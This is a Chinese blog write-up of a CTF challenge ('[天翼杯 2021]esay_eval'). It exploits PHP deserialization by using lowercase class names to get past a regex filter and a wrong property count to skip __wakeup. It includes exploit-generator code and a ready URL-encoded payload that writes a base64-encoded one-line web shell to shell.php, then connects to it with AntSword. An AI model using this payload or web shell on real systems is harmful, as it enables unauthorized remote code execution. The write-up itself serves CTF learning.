[天翼杯 2021]esay_eval

最新推荐文章于 2023-10-09 09:29:19 发布

清风--

最新推荐文章于 2023-10-09 09:29:19 发布

阅读量498

点赞数 3

文章标签： php 开发语言

本文链接：https://blog.csdn.net/qq_64201116/article/details/125211648

版权

进入页面,得到源码

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

分析一下关键代码

preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

这里把匹配到[AB]:(任意): 到$ret里面 $ret的内容就是就是(任意)

因为这里不能让$ret匹配到内容,所以要让$ret为空

因为类不区分大小写,我们反序化的时候可以把AB改成小写ab

我们先试一下能不能触发phpinfo();

<?php
class a{
    public $code = "";

    function __construct(){
        $this->code = "phpinfo();";
    }
}
class b{
    function __construct(){
        $this->a=new a();
    }
}

$str = serialize(new b());
$str1 = preg_replace('/"b":1:/','"b":2:',$str);
echo urlencode($str1);

发现可以,那就是构造序列化了(写一句话木马进去)

<?php
class a{
    public $code = "";

    function __construct(){
        $this->code = "fputs(fopen('shell.php','w'),base64_decode(\"PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw==\"));";
    }
}
class b{
    function __construct(){
        $this->a=new a();
    }
}

$str = serialize(new b());
$str1 = preg_replace('/"b":1:/','"b":2:',$str);
echo urlencode($str1);

这里把b:1替换成b:2因为我们要绕过__wakeup所以要让变量个数大于实际个数就可以绕过

把得到的传参到poc=O%3A1%3A%22b%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22a%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A84%3A%22fputs%28fopen%28%27shell.php%27%2C%27w%27%29%2Cbase64_decode%28%22PD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOw%3D%3D%22%29%29%3B%22%3B%7D%7D

然后访问shell.php

连接蚁剑